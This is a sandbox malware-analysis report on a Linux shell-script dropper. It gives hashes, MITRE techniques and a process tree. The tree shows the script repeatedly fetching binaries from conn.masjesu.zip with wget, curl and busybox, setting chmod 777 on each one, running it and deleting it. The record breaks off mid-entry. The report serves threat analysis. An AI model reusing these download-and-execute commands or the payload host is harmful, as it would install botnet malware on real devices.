4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5

Analysis

max time kernel
113s
max time network
115s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17/11/2024, 12:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5.sh
Size 10KB
Sample241117-psttzazfpp
SHA256 4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5
MD5 b057bb13f49ab161dc30e3030ad3540b
SHA1 426b61fa0d171652c54c9493346920a97ddb676a
SHA512 9fe0251722de44f2c51c6ac2dcc217165bad9f75af0e528eb3fb74f7e7d04f6dfe6ba1f89efad5861e94237bca4823716f3472a56cd691c494d1550c15448a30
SSDEEP 192:KTOOhY0NRuOszRNGDT3KKwdGTOoY0NRuOGRNGDTg/:IhY0NRuOsUKKwdeY0NRuOg/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1004	chmod
737	chmod
835	chmod
871	chmod
955	chmod
784	chmod
878	chmod
962	chmod
969	chmod
997	chmod
744	chmod
813	chmod
864	chmod
948	chmod
820	chmod
885	chmod
899	chmod
941	chmod
755	chmod
892	chmod
983	chmod
990	chmod
906	chmod
927	chmod
934	chmod
913	chmod
920	chmod
976	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
868	curl
916	wget
945	curl
1003	busybox
715	wget
824	curl
924	curl
867	wget
896	curl
771	curl
1001	curl
882	curl
888	wget
965	wget
994	curl
1000	wget
752	busybox
819	busybox
973	curl
842	wget
874	wget
789	wget
817	curl
853	curl
884	busybox
889	curl
903	curl
747	wget
748	curl
944	wget
947	busybox
954	busybox
989	busybox
993	wget
996	busybox
905	busybox
937	wget
987	curl
816	wget
966	curl
909	wget
912	busybox
919	busybox
940	busybox
958	wget
968	busybox
729	curl
761	wget
975	busybox
980	curl
891	busybox
930	wget
952	curl
802	curl
875	curl
898	busybox
959	curl
740	wget
877	busybox
902	wget
743	busybox
780	busybox
972	wget
979	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr	curl
File opened for modification	/tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ	curl
File opened for modification	/tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb	curl
File opened for modification	/tmp/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk	curl
File opened for modification	/tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN	curl
File opened for modification	/tmp/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1	curl
File opened for modification	/tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb	curl
File opened for modification	/tmp/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7	curl
File opened for modification	/tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q	curl
File opened for modification	/tmp/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI	curl
File opened for modification	/tmp/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U	curl
File opened for modification	/tmp/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1	curl
File opened for modification	/tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf	curl
File opened for modification	/tmp/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D	curl
File opened for modification	/tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN	curl
File opened for modification	/tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr	curl
File opened for modification	/tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M	curl
File opened for modification	/tmp/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk	curl
File opened for modification	/tmp/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7	curl
File opened for modification	/tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q	curl
File opened for modification	/tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M	curl
File opened for modification	/tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb	curl
File opened for modification	/tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf	curl
File opened for modification	/tmp/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI	curl
File opened for modification	/tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ	curl
File opened for modification	/tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb	curl
File opened for modification	/tmp/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D	curl
File opened for modification	/tmp/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U	curl

/tmp/4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5.sh
/tmp/4c6e82d3bccd32c92ef5fbb15eb3175960d562ed4e3f3e56b5f2497df8ace7d5.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - System Network Configuration Discovery
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  PID:735
- /bin/chmod
  chmod 777 GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  ./GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  PID:739
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - System Network Configuration Discovery
  PID:740
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  ./c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  PID:746
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - System Network Configuration Discovery
  PID:747
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  ./7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - System Network Configuration Discovery
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - System Network Configuration Discovery
  PID:780
- /bin/chmod
  chmod 777 PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  ./PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  PID:788
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - System Network Configuration Discovery
  PID:789
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  PID:812
- /bin/chmod
  chmod 777 TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  ./TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  PID:815
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - System Network Configuration Discovery
  PID:816
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - System Network Configuration Discovery
  PID:819
- /bin/chmod
  chmod 777 nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  ./nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  PID:822
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  PID:830
- /bin/chmod
  chmod 777 IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  ./IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  PID:841
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - System Network Configuration Discovery
  PID:842
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  PID:862
- /bin/chmod
  chmod 777 Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  ./Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  PID:866
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - System Network Configuration Discovery
  PID:867
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  PID:870
- /bin/chmod
  chmod 777 1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  ./1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm 1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  PID:873
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - System Network Configuration Discovery
  PID:874
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  ./BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  PID:880
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - System Network Configuration Discovery
  PID:884
- /bin/chmod
  chmod 777 H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  ./H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  PID:887
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - System Network Configuration Discovery
  PID:888
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - System Network Configuration Discovery
  PID:891
- /bin/chmod
  chmod 777 HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  ./HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  PID:894
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - System Network Configuration Discovery
  PID:898
- /bin/chmod
  chmod 777 leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  ./leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  PID:901
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - System Network Configuration Discovery
  PID:902
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - System Network Configuration Discovery
  PID:905
- /bin/chmod
  chmod 777 xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  ./xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  PID:908
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/chmod
  chmod 777 GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  ./GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
  2⤵
  PID:915
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - System Network Configuration Discovery
  PID:916
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/chmod
  chmod 777 c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  ./c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
  2⤵
  PID:922
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  PID:926
- /bin/chmod
  chmod 777 7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  ./7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm 7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
  2⤵
  PID:929
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - System Network Configuration Discovery
  PID:930
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  PID:933
- /bin/chmod
  chmod 777 PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  ./PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
  2⤵
  PID:936
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - System Network Configuration Discovery
  PID:940
- /bin/chmod
  chmod 777 TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  ./TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
  2⤵
  PID:943
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - System Network Configuration Discovery
  PID:944
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - System Network Configuration Discovery
  PID:947
- /bin/chmod
  chmod 777 nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  ./nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
  2⤵
  PID:950
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - System Network Configuration Discovery
  PID:954
- /bin/chmod
  chmod 777 IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  ./IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
  2⤵
  PID:957
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - System Network Configuration Discovery
  PID:958
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  PID:961
- /bin/chmod
